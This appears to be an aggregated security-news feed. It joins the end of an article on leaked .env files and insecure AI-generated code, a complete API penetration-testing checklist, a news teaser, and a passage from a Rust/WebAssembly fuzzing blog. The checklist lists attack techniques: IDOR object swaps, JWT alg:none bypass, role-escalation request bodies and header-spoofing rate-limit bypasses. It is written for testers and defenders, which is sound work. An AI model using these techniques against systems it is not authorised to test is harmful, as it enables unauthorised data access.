• Hallucinated dependencies — AI tools generate package.json files with packages that do not exist in the registry, creating opportunities for typosquatting attacks
• Hardcoded credentials — AI models trained on public code learn the pattern of hardcoding secrets and reproduce it
• Source maps left enabled — Default build configurations generated by AI often leave source maps enabled for production
• Missing server blocks — AI-generated deployment configs rarely include rules to block hidden files

The fix: Treat AI-generated code as untrusted input. Audit every file for secrets before deployment. Use automated scanners in CI/CD.

References

• Unit 42 — Large-Scale Cloud Extortion Operation via Exposed .env Files
• Security Affairs — 12 Million Exposed .env Files
• Snyk 2025 State of Secrets — 28M Credentials Leaked on GitHub
• Sentry Security Blog — Abusing Exposed Sourcemaps
• Mogwai Labs — Exploiting Laravel with Leaked APP_KEYs
• OWASP — Review Web Page Content for Information Leakage
• GitHub Dorking — techgaun/github-dorks
• Invicti — Dotenv .env File Vulnerability
• Vibe Eval 2026 — Frontend Secrets Leak Report

GitHub: SecurityTalent | Medium: Security Talent | Twitter: Securi3yTalent | Facebook: Securi3ytalent | Telegram: Securi3yTalent

#CyberSecurity #BugBounty #BugBountyHunter #EthicalHacking #InfoSec #WebSecurity #ApplicationSecurity #AppSec #CloudSecurity #FrontendSecurity #WebDevelopment #JavaScript #ReactJS #Laravel #NodeJS #DevSecOps #OWASP #SecretsManagement #GitHub #GitHubDorks #SourceMaps #EnvFiles #SecurityResearch #PenetrationTesting #RedTeam #BlueTeam #CloudComputing #AWS #Azure #GoogleCloud #VibeCoding #AI #SecureCoding #DeveloperSecurity #TechBlog #Programming

Frontend Security & Bug Hunting: The .env File Crisis and Real-World Exploitation was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

How Real-World Attacks Break APIs Before Scanners Do

APIs are the backbone of modern applications: powering mobile banking, e-commerce, healthcare systems, AI integrations, and microservices.

Today, APIs handle over 90% of global web traffic, yet they remain one of the most exploited attack surfaces in modern security incidents.

High-profile breaches like T-Mobile (37M records exposed) and Optus (9.8M records leaked) were not caused by advanced exploits: but by simple broken authorization and exposed API logic.

And in both cases, automated scanners failed.Because API security failures are rarely technical bugs.They are logic flaws in how systems define trust, identity, and access.

Why APIs Break in Real World

APIs fail because:

• Business logic is exposed directly through endpoints
• Authorization is weaker than authentication
• APIs evolve faster than security testing
• Attackers test workflows, not just inputs

Scanners detect vulnerabilities. Attackers exploit behavior.

Black Box vs Grey Box Testing

Black Box

No internal access-only:

• Base URL or application
• Swagger (sometimes)
• Mobile app (sometimes)

Focus:

• Endpoint discovery (fuzzing)
• Traffic interception (Burp/ZAP)
• Shadow API detection

Common findings:

• /admin
• /internal
• /debug
• /v2, /beta

Grey Box

Partial access:

• Postman collections
• API documentation
• Architecture insights

Enables deeper testing of:

• Authorization logic
• Token flows
• Business workflows

API Recon (Attack Surface Mapping)

1. Endpoint Fuzzing

Test:

• /api/v1/users
• /api/v2/users
• /internal/users

2. HTTP Method Testing

Check:

• GET, POST, PUT, DELETE, PATCH, OPTIONS

3. Shadow APIs

Hidden or forgotten APIs in:

• legacy systems
• mobile backends
• internal services exposed externally

4. Version Enumeration

Test:

• /v1/
• /v2/
• /beta/

Older versions often lack proper security controls.

Authentication & Identity Testing

Common Failures

• Weak login protection (no lockout / CAPTCHA)
• User enumeration via error messages
• Expired tokens still valid
• API keys exposed or reused
• Sensitive data in URLs

Example:

GET /reset?token=abc123

JWT Security Testing

Key Checks

• alg: none bypass
• Weak HS256 secrets (brute force)
• Missing token expiration validation
• Sensitive data in JWT payload

JWT is base64 encoded, not encrypted.

Authorization Testing (Critical Layer)

1. BOLA / IDOR

Change object references:

/user/123 → /user/456

If accessible → data exposure.

2. BFLA (Function-Level Access)

Test admin actions as normal user:

• delete
• update
• privileged endpoints

3. Privilege Escalation

Check for:

• role manipulation in request body
• mass assignment flaws
• hidden admin parameters

Example:

{"role": "admin"}

Input Validation & Injection

Test for:

• SQL / NoSQL injection
• command injection
• malformed JSON payloads
• unexpected data types

APIs often trust frontend validation -which is unsafe.

Business Logic Vulnerabilities (High Impact)

1. Pricing Manipulation

• negative values
• discount abuse
• price tampering

2. Workflow Abuse

• skipping payment steps
• replaying requests
• out-of-order operations

3. Inventory Manipulation

• race conditions
• cart abuse
• stock exhaustion

4. Account Abuse

• role escalation via hidden fields
• mass assignment issues

Rate Limiting & Abuse

Test for:

• brute force attacks
• OTP guessing
• API scraping
• unlimited requests

Bypass Techniques

• IP rotation
• header spoofing (X-Forwarded-For)
• parallel requests

Data Exposure Issues

Check for:

• PII leaks (email, phone, address)
• internal IDs exposed
• password hashes in responses
• excessive response data

If response is “too detailed”, it’s a risk.

Configuration & Misconfigurations

Common issues:

• exposed /debug, /internal
• CORS set to *
• missing security headers
• outdated API versions
• secrets in logs or configs

Modern API Attack Surface

GraphQL

• introspection enabled
• query depth abuse
• batch requests for brute force

Cloud APIs

• public S3 / blob storage
• misconfigured IAM permissions
• exposed storage endpoints

File Upload APIs

• unrestricted file types
• executable uploads
• bypass validation

SSRF in APIs

• user-controlled URLs
• internal network access via API calls

Automation vs Manual Testing

Automate:

• baseline security checks
• authentication testing
• regression scans
• CI/CD integration

Keep Manual for:

• business logic flaws
• authorization bypass
• complex workflows

Best approach = hybrid security testing

Final API Security Checklist (Summary)

Every API must be tested for:

• Authentication & Authorization (BOLA, BFLA)
• Input validation & injection
• Business logic abuse
• Rate limiting
• Data exposure
• Configuration issues
• Cloud & GraphQL security

Final Thought

API security is not about endpoints.It is about how trust is defined: and how it is broken. Most vulnerabilities are not coding errors. They are unvalidated assumptions in business logic. And attackers don’t break APIs. They simply use them in ways nobody tested.

This concludes my API security series. Next, I’ll be exploring Active Directory penetration testing.

API Penetration Testing Checklist: How Real-World Attacks Break APIs Before Scanners Do was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Read more →

The post Northern Ireland cops issue PSA after official phone number spoofed by scammers appeared first on IT Security News.

1. Generating structured inputs from scratch with the arbitrary crate

2. Mutating existing inputs from the fuzzer’s corpus in a structure-aware manner, thereby producing new structured inputs, via the fuzz_mutator! hook

While the two methods are not technically mutually exclusive, combining the two can be difficult and engineering resources are finite. So:

If we are only implementing one approach, is generation or mutation better?

To help answer this question, I implemented structure-aware generation and mutation of guaranteed-valid WebAssembly (Wasm) instruction sequences. This task is small enough to be easily understandable but large enough and real enough to (hopefully) be representative and applicable to other domains, or, at the very least, interesting.¹ To evaluate their effectiveness, I used Wasmtime as the SUT, libfuzzer-sys as the fuzzing engine driving everything, and then compared code coverage over time when using mutation-based fuzzing versus generation-based fuzzing.

Additionally, there are many ways we can generate pseudorandom WebAssembly instruction sequences. In this experiment, I’ve evaluated three methods:

1. Unconstrained instruction sequence generation followed by a fixup pass to ensure validity

2. Generating valid instructions in a forwards, bottom-up manner (from operands to operators)

3. Generating valid instructions in a backwards, top-down manner (from operators to operands)

In contrast, while there are surely many ways to mutate a given WebAssembly instruction sequence into a new, valid instruction sequence, I’ve only implemented one method: perform an arbitrary instruction insertion, deletion, or replacement, producing a new but probably-invalid instruction sequence, and then run the same fixup pass mentioned previously to ensure validity. This is the direct mutation-based equivalent of the first generation-based method.

Before continuing further, I want to disclose that I am the author of wasm-smith and mutatis, and a maintainer of Wasmtime, arbitrary, libfuzzer-sys, and cargo-fuzz. That is, while I am familiar with Wasm, fuzzing, fuzzing Wasm, and both the arbitrary and mutatis crates, I may also be propagating my own biases into these implementations.

Background

Generation-Based and Mutation-Based Fuzzing

A generation-based fuzzer uses a generator to create a pseudo-random test cases from scratch, feeds these into the system under test, and reports any failures to the user:

fn generation_based_fuzzing<T>(
    // A test-case generator.
    generator: impl Fn() -> T,
    // A function to run the system under test with a
    // generated test case, returning a result that
    // describes whether the run was successful or
    // not.
    run_system_under_test: impl Fn(&T) -> FuzzResult,
) {
    loop {
        // Generate an input.
        let input = generator();

        // Run the input through the system under test.
        let result = run_system_under_test(&input);

        // If the system crashed, panicked, failed an
        // assertion, violated an invariant, or etc...
        // then report that to the user.
        if let Err(failure) = result {
            report_to_user(&input, failure);
        }
    }
}

On the other hand, mutation-based fuzzers are given an initial corpus of inputs and create new inputs by mutating existing corpus members. They run each new input through the SUT, report failures the same as before, and if the new input was “interesting” (for example, exercised new code paths in the SUT that weren’t previously covered in any other input’s execution) then the new input is added into the corpus for use in future test iterations:

fn mutation_based_fuzzing<T>(
    // A corpus of test cases.
    corpus: &mut Corpus<T>,
    // A function to pseudo-randomly mutate an existing
    // input into a new input.
    mutate: impl Fn(&T) -> T,
    // A function to run an input in the system under
    // test, returning a result that describes whether
    // the run was successful or not.
    run_system_under_test: impl Fn(&T) -> FuzzResult,
) {
    loop {
        // Choose an old test case from the corpus.
        let old_input = corpus.choose_one();

        // Pseudo-randomly mutate that old test case,
        // creating a new one.
        let input = mutate(old_input);

        // Run the input through the system under test.
        let result = run_system_under_test(&input);

        // If the system crashed, panicked, failed an
        // assertion, violated an invariant, or etc...
        // then report that to the user.
        if let Err(failure) = result {
            report_to_user(&input, failure);
        }

        // If the input was interesting, for example if
        // it executed previously-unknown code paths,
        // then add it into the corpus for use in a
        // future iteration.
        if result.input_was_interesting() {
            corpus.insert(input);
        }
    }
}

The two approaches are not mutually exclusive and hybrid generation- and mutation-based fuzzers exist.

More resources:

• Wikipedia’s “Fuzzing” article’s “Reuse of existing input seeds” section
• The Fuzzing Book’s Mutation-Based Fuzzing chapter
• Writing a Test Case Generator for a Programming Language

Structure-Aware Fuzzing

Structure-unaware fuzzing will generate pseudorandom byte sequences and pass them directly to the SUT. If the SUT expects some sort of structured input, e.g. the source text for a programming language, it is likely that these byte sequences are invalid and will be rejected early by the SUT’s frontend. For example, when fuzzing a compiler, the input is rejected as syntactically invalid by the parser or rejected as semantically invalid by the type checker. This can be useful when hardening a tokenizer, parser, or type checker, but is less useful when hunting for misoptimization in the mid-end or bad instruction encoding in the backend because the inputs are unlikely to make it that far through the compiler’s pipeline.

Structure-aware fuzzing will produce inputs that match the SUT’s expected input format. Returning to the compiler-fuzzing example, structure-aware fuzzing lets us generate valid programs for the compiler, so we can exercise more of the mid-end and backend, rather than just the frontend.

Structure-aware fuzzing is often generation-based: for example using grammar-based fuzzing to generate pseudorandom strings from a given language grammar or language-specific tools like csmith and wasm-smith that generate C and WebAssembly programs respectively. But structure-aware fuzzing can also be mutation-based: libFuzzer’s custom mutator example implements a structure-aware mutator for zlib-compressed strings, where the raw input is decompressed, the decompressed data is mutated, and then the mutated data is recompressed to provide the new raw input. The mutator is aware of the SUT’s zlib-compressed input structure.

More resources:

• Wikipedia’s “Fuzzing” article’s “Aware of input structure” section
• google/fuzzing on structure-aware fuzzing
• The rust-fuzz book on structure-aware fuzzing

The arbitrary Crate

The arbitrary crate helps Rust developers write custom structure-aware generators for fuzzing. It provides building blocks and abstractions for translating a raw byte sequence (usually from a fuzzing engine) into a structured type, effectively interpreting the raw bytes as a “DNA string” or set of predetermined choices for its decision tree. The library also provides a derive(Arbitrary) macro to automatically implement its functionality for a given type.

Because arbitrary is effectively implemented by combining decision trees, it is extremely easy to create imbalanced trees and unintentionally bias the distribution of generated test cases.

The mutatis Crate

The mutatis crate is, at a high-level, performing the same role for authoring structure-aware mutators that arbitrary plays for generators. That is, it provides Rust developers with abstractions and combinators for creating custom structure-aware mutators. It also provides a derive(Mutate) macro to automatically implement its functionality for a given type.

mutatis is designed to resist bias via a two-phase design: first, it enumerates all of the candidate mutations that could be applied to a test case, and only afterwards chooses a particular random mutation from the candidate set to actually apply.

WebAssembly

WebAssembly is a virtual instruction set designed to be safe, portable, and fast. It is a stack machine where an instruction’s operands are popped off a stack during execution and results pushed. It has sandboxed linear memories, global variables, and local variables (the latter two effectively being two kinds of virtual registers). The following instruction sequence computes a * 3 and stores the result into memory at address p:

;; []
local.get $p
;; [p]
local.get $a
;; [p, a]
i32.const 3
;; [p, a, 3]
i32.mul
;; [p, a*3]
i32.store
;; []

Generator and Mutator Implementation

The range of all three generators and the mutator is the same universe of WebAssembly programs. They are all implemented on top of the same Module and Inst types, and, given enough time, none is capable of producing an instruction sequence that another cannot. This helps ensure that our comparison is apples-to-apples. However, due to their different implementation techniques, they do produce different distributions of WebAssembly programs within that universe, and produce test cases at different speeds from one another, which ultimately affects how efficiently they exercise the SUT.

All of the generators are built on top of the arbitrary crate. The mutator is built on top of the mutatis crate.

The Module type is our structured fuzzing input. It describes a WebAssembly module containing a variable number of linear memories, a variable number and type of globals, and one function with a variable number and type of parameters and results and a variable instruction sequence:

/// A WebAssembly module of the shape:
///
///     (module
///       (memory ...)
///       (memory ...)
///       ...
///
///       (global ...)
///       (global ...)
///       ...
///
///       (func (export "run") (param ...) (result ...)
///         ...
///       )
///     )
pub struct Module {
    num_memories: u32,
    globals: Vec<Global>,
    param_types: Vec<ValType>,
    result_types: Vec<ValType>,
    instructions: Vec<Inst>,
}